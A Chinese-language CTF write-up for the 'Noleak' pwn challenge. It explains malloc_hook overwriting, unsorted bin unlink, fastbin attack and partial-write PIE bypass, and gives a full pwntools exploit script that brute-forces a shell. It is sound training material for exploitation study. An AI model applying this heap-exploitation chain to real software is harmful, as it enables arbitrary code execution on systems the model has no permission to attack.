攻防世界PWN之Noleak(一题学了好多知识)题解

Noleak

本题需要用到的知识有：malloc_hook、unsorted bin unlink、fastbin attack、partial write bypass PIE

 

首先，介绍一下malloc_hook，这是C语言提供的一个用来包装malloc的，类似还有free_hook，具体可以查阅相关资料学习

 

Malloc hook

我们看如下代码

1. #include   
2. #include   
3.   
4. void *fun() {  
5.    __malloc_hook = NULL;  
6.    printf("hello,fun was called!\n");  
7.    return NULL;  
8. }  
9. int main() {  
10.    __malloc_hook = fun;  
11.    malloc(10);  
12. }  

只要我们把 __malloc_hook赋值为某个函数的地址，那么，当我们malloc时，系统就会去调用那个函数。

 

Unsorted bin unlink

Unsorted bin使用双向链表维护，假如在物理地址上，chunk0后面是chunk1，我们通过chunk0溢出到chunk1，并且还在chunk0里面伪造了一个chunk，其中fd和bk指向了我们的目标附近处，溢出修改chunk1的prev_size和size，让假的chunk伪装成free的状态，这样，当我们释放chunk1时就触发了unlink，使得chunk0的指针指向了我们的目标处，接下来，我们编辑chunk0，就是编辑目标处。关于unlink的详细知识，请看我之前的一篇博客https://blog.csdn.net/seaaseesa/article/details/102907138 。

本题，当我们free一个unsorted bin时，它的fd指针会指向libc中main_arena+88地址处，而该处的上方不远处，就是__malloc_hook

 

我们先创建一个256字节的堆，然后释放它，释放后的堆块数据结构是这样的，fd和bk设置成了main_arena+88的值

__malloc_hook

main_arena+88处

我们的目的是修改__malloc_hook，让它指向指向我们的shellcode地址，这样，当我们malloc时，就会触发我们的shellcode执行。

fastbin attack

为了实现修改__malloc_hook处的数据，我们可以利用fastbin将堆块分配到此处，这样我们就能改写此处的数据了。

Fastbin只检查它单向链表中每个块的size域是否符合条件。我们可以在__malloc_hook附近找一个可以伪造的块，想办法把这个块加入到fastbin的链表中，这样，当我们malloc分配时，就可以分配到这个块，这样我们就能修改__malloc_hook的数据了。

我们发现，__malloc_hook上方不远处有一个符合条件的区域

假如,我们的块从图中的0x 7F535F744AED处开始，那么0x 7F535F744AED + 8 = 7F535F744AF5正好是块的size域,由于size域是8字节空间，图中，它后面都是0，因此它的值就是7F，由于fastbin在malloc时，只检查size域，因此，我们可以把0x 7F535F744AED(注意这个地址是随机的，但是它位于__malloc_hook – 0x23处，因此，我们可以来爆破，看下文partial write技术)链接到fastbin里，这样，我们重新分配时，就可以分配到这里。

partial write

前面的演示，我们知道了unsorted bin里最后一个块的fd会残留libc中main_arena+88的地址。(这里开启了另一个程序实例，所有里面的地址变了，不要在意)

由于内存的页载入机制，PIE的随机化只能影响到单个内存页。一般一个内存页大小为0x1000，这就意味着不管地址怎么变，某条指令的后3个十六进制数字的是始终不变的，与它在二进制文件中的地址后3个十六进制是一样的，从图中，我们可以看出,main_arena在libc2.23中的地址后三个数是B78。

我们验证一下，以malloc_hook的地址为例，我们看到，它的静态地址是这样的

后三个数数B10

我们再看看它加载的地址

也是B10

也就是说，在同一个页里，就后2字节不一样，由于main_arena+ 88和__malloc_hook-0x23在同一个页里，现在我们已知后三个十六进制数字，那么我们只需爆破倒数第四个数字，即可得到__malloc_hook-0x23的地址。其实也不用爆破，我们就让倒数第4个数字固定，我们就假如它是2吧(随意)，只要我们多次运行程序，总有一次地址正好吻合。

1. attack_addr_suffix = 4096 * 2 + ((malloc_hook & 0xFFF) - 0x23)  

那么，我们需要把上面这个2字节覆盖到那个unsorted bin块的fd的低二字节，由于采用的是小端存储，正好可以覆盖，并且保留前面的字节数据。

如图，通过前一个块的溢出，我们修改了数据，我们跳过去看看

遗憾的是，这个地址不是我们的目标处，由于我们假定倒数的第四个数字是2，当前这一次，不走运，地址没有和假定吻合。但是，当我们不断重新运行程序，总有一次会吻合。那个时候我们就可以把__malloc_hook指向我们的shellcode，然后进行一次malloc操作即可getshell。

好了，那我们正式解题吧

先看看保护机制（这一步应该放在最前面的，因为我们需要依据这个想办法）

RELRO 完全开启，意味着我们不能修改GOT表。NX和PIE未开启，意味着我们可以在堆栈里存入shellcode，然后跳到那里去执行shellcode。

先看看程序逻辑（delete功能没有把指针清空）

编辑功能存在UAF以及溢出漏洞,size未做检查，可以溢出堆，UAF也可以编辑堆，真是漏洞百出

我们决定把shellcode存到bss段0x601020处，因为没有开启PIE,它的地址固定

我们如何向这里写入数据呢?

我们需要先利用unsorted bin发生unlink，控制保存堆指针的数组。

1. #chunk0  
2. create(sh,0x100,'a'*0x100)  
3. #chunk1  
4. create(sh,0x100,'b'*0x100)  
5. #我们首先需要来完成任意写的目的，这个地址处是一个数组，用来保存堆指针的。我们需要先控制这里  
6. target_addr = 0x601040  
7. #构造payload使得chunk0溢出到chunk1,修改chunk1的prev_size和size  
8. #假chunk  
9. #prev_size size  
10. payload = p64(0) + p64(0x101)  
11. #fd、bk  
12. payload += p64(target_addr-0x18) + p64(target_addr - 0x10)  
13. payload += 'a' * (0x100-8*4)  
14. #修改chunk3的prev_size和size  
15. payload += p64(0x100) + p64(0x110)  
16.   
17. edit(sh,0,len(payload),payload)  
18. #发生unlink,chunk0的指针指向了保存堆指针的数组，那么我们就可以修改数组里的指针，让它们指向一些关键地方  
19. delete(sh,1)  

不明白unlink的可以看我之前的博客里有详解https://blog.csdn.net/seaaseesa/article/details/102907138

 

发生了unlink，数组里，堆0的指针变成了0x601028，那么我们可以构造payload，从0x601028处溢出到下面，把数组里的几个指针全部修改成其他我们需要的地方，这样当我们编辑对应的堆时，就是编辑这些地址处的数据。比如，现在我们edit(0)就是在编辑0x601028处的数据。

1. payload = p64(0) * 3  
2. payload += p64(bss_addr)  
3. #将堆0指针变成bss_addr，这样我们就可以往bss里写shellcode了  
4. edit(sh,0,len(payload),payload)  

接下来，我们要开始来实现如何修改malloc_hook了。

1. #chunk2  
2. create(sh,0x10,'c'*0x10)  
3. #chunk3 这个必须是unsorted bin范围  
4. create(sh,0x80,'d'*0x80)  
5. #chunk4  
6. create(sh,0x65,'e'*0x65)  
7. #chunk5  
8. create(sh,0x65,'f'*0x65)  
9. #free chunk3后，chunk3的fd和bk残留了libc里面的main_area + 0x88指针  
10. delete(sh,3)  
11.   
12. #覆盖低2字节，使得chunk3的FD指向了malloc hook-0x23  
13. create(sh,0x80,p16(attack_addr_suffix)) #chunk6  

chunk2用于溢出到chunk3，对chunk3进行修改。

我们要想实现将malloc_hook-0x23处链接到unsorted bin的链表中去，现在，假设我们覆盖chunk3的fd低2字节后，地址吻合了，那么malloc_hook-0x23已经连接到了chunk3的fd，那么我们就需要把chunk3加入到单向链表中去即可，那么我们需要通过chunk2溢出到chunk3修改chunk3的size域，使它在fastbin范围内，这里，我们就改成0x71吧

1. payload = 'c'*0x10  
2. payload += p64(0) + p64(0x71)  
3. edit(sh,2,len(payload),payload)  

现在还有问题是，我们又不知道chunk3的地址，那么我们还需要再利用一次partial write。

我们先释放chunk4、chunk5，这样,形成了以chunk5为头结点的fastbin单向链表，由于chunk4和chunk3在内存中是相邻的，并且他们的地址只有最后一字节不一样，由于最后一字节我们是可以得到的，只需用IDA观察即可

Chunk3

Chunk4

Chunk5的fd域

我们发现，chunk3和chunk4的地址只有最后一个字节的差别，我们可以利用UAF漏洞，把chunk5的fd的低1字节覆盖成0x30，这样，chunk5的fd就指向了chunk3

1. #释放chunk4、chunk5，这样chunk5、chunk4构成了fastbin单向链表  
2. delete(sh,4)  
3. delete(sh,5)  
4. #我们覆盖chunk5的fd的低1字节，目的是让chunk5的fd指向chunk3，因为我们不确定chunk3的地址，当我们确定它地址的最后一个字节。  
5. edit(sh,5,1,p8(0x30))  

这样操作以后，形成了这样的一个fastbin链表

Chunk5➡ chunk3 ➡ __malloc_hook-0x23

因此我们malloc三次后，就分配到了__malloc_hook-0x23处，我们就可以修改__malloc_hook了

由于程序会检测数组里指针的个数，超过10个就不给创建了，因此我们在bss段写入shellcode时，顺便把数组里覆盖为0

1. #在bss段写入shellcode，顺便把堆指针从数组里清空，这样我们又创建多个堆了，不然超过10个就不允许创建了  
2. payload = shellcode.ljust(0x20,'\x00')  
3. payload += p64(0) * 8  
4. edit(sh,0,len(payload),payload)  

我们最终完整的exp脚本

1. #coding:utf8  
2. from pwn import *  
3.   
4. context(os='linux',arch='amd64')  
5.   
6. elf = ELF('./timu')  
7. libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')  
8.   
9. #bss段，我们待会把shellcode写入这里  
10. bss_addr = 0x601020  
11. #我们的目的是把__malloc_hook指向bss_addr，这样，当我们malloc时,我们在bss里放的代码被调用  
12. #从而getshell  
13. malloc_hook = libc.symbols['__malloc_hook']  
14. #我们的攻击目标,我们利用fastbin，想办法让堆分配到malloc_hook地址-0x23处  
15. #由于不能泄露地址，但是由于PIE的缺陷,符号的地址的后3个十六进制数字和它在  
16. #二进制文件中的地址的后三个十六进制数是一样的。然后，我们就直接设定倒数第  
17. #个十六进制数字为2，这样，我们不断爆破，总有一次，它的后4个十六进制数字为  
18. #这个  
19. attack_addr_suffix = 4096 * 2 + ((malloc_hook & 0xFFF) - 0x23)  
20.   
21. #shellcode  
22. shellcode = asm(shellcraft.sh())  
23.   
24. def create(sh,size,content):  
25.    sh.sendlineafter('Your choice :','1')  
26.    sh.sendlineafter('Size: ',str(size))  
27.    sh.sendafter('Data: ',content)  
28.   
29. def edit(sh,index,size,content):  
30.    sh.sendlineafter('Your choice :','3')  
31.    sh.sendlineafter('Index: ',str(index))  
32.    sh.sendlineafter('Size: ',str(size))  
33.    sh.sendafter('Data: ',content)  
34.   
35. def delete(sh,index):  
36.    sh.sendlineafter('Your choice :','2')  
37.    sh.sendlineafter('Index: ',str(index))  
38.   
39.   
40. def crack(sh):  
41.    #chunk0  
42.    create(sh,0x100,'a'*0x100)  
43.    #chunk1  
44.    create(sh,0x100,'b'*0x100)  
45.    #我们首先需要来完成任意写的目的，这个地址处是一个数组，用来保存堆指针的。我们需要先控制这里  
46.    target_addr = 0x601040  
47.    #构造payload使得chunk0溢出到chunk1,修改chunk1的prev_size和size  
48.    #假chunk  
49.    #prev_size size  
50.    payload = p64(0) + p64(0x101)  
51.    #fd、bk  
52.    payload += p64(target_addr-0x18) + p64(target_addr - 0x10)  
53.    payload += 'a' * (0x100-8*4)  
54.    #修改chunk3的prev_size和size  
55.    payload += p64(0x100) + p64(0x110)  
56.   
57.    edit(sh,0,len(payload),payload)  
58.    #发生unlink,chunk0的指针指向了保存堆指针的数组，那么我们就可以修改数组里的指针，让它们指向一些关键地方  
59.    delete(sh,1)  
60.    payload = p64(0) * 3  
61.    payload += p64(bss_addr)  
62.    #将堆0指针变成bss_addr，这样我们就可以往bss里写shellcode了  
63.    edit(sh,0,len(payload),payload)  
64.   
65.    #chunk2  
66.    create(sh,0x10,'c'*0x10)  
67.    #chunk3 这个必须是unsorted bin范围  
68.    create(sh,0x80,'d'*0x80)  
69.    #chunk4  
70.    create(sh,0x65,'e'*0x65)  
71.    #chunk5  
72.    create(sh,0x65,'f'*0x65)  
73.    #free chunk3后，chunk3的fd和bk残留了libc里面的main_area + 0x88指针  
74.    delete(sh,3)  
75.   
76.    #覆盖低2字节，使得chunk3的FD指向了malloc hook-0x23  
77.    create(sh,0x80,p16(attack_addr_suffix)) #chunk6  
78.    #修改chunk3的size，目的是让chunk3和chunk5、chunk4的size一样  
79.    payload = 'c'*0x10  
80.    payload += p64(0) + p64(0x71)  
81.    edit(sh,2,len(payload),payload)  
82.    #释放chunk4、chunk5，这样chunk5、chunk4构成了fastbin单向链表  
83.    delete(sh,4)  
84.    delete(sh,5)  
85.    #我们覆盖chunk5的fd的低1字节，目的是让chunk5的fd指向chunk3，因为我们不确定chunk3的地址，当我们确定它地址的最后一个字节。  
86.    edit(sh,5,1,p8(0x30))  
87.   
88.    #在bss段写入shellcode，顺便把堆指针从数组里清空，这样我们又创建多个堆了，不然超过10个就不允许创建了  
89.    payload = shellcode.ljust(0x20,'\x00')  
90.    payload += p64(0) * 8  
91.    edit(sh,0,len(payload),payload)  
92.   
93.    #chunk7  
94.    create(sh,0x65,'g'*0x65)  
95.    #chunk8  
96.    create(sh,0x65,'h'*0x65)  
97.   
98.    payload = 'a'*0x13 + p64(bss_addr)  
99.    #这个堆的指针指向了__malloc hook,我们修改它的值为bss_addr，这样，当我们再次malloc时，就会调用bss_addr处的shellcode  
100.    create(sh,0x65,payload) #chunk9  
101.    #当我们再次malloc时，malloc hook执行的函数被调用,我们getshell  
102.    sh.sendlineafter('Your choice :','1')  
103.    sh.sendlineafter('Size: ','1')  
104.    sh.interactive()  
105.   
106. #爆破  
107. while True:  
108. #   sh = remote('111.198.29.45',59617)  
109.    sh = process('./timu')  
110.    try:  
111.       print '正在爆破...'  
112.       crack(sh)  
113.       break  
114.    except:  
115.       sh.close()  

成功getshell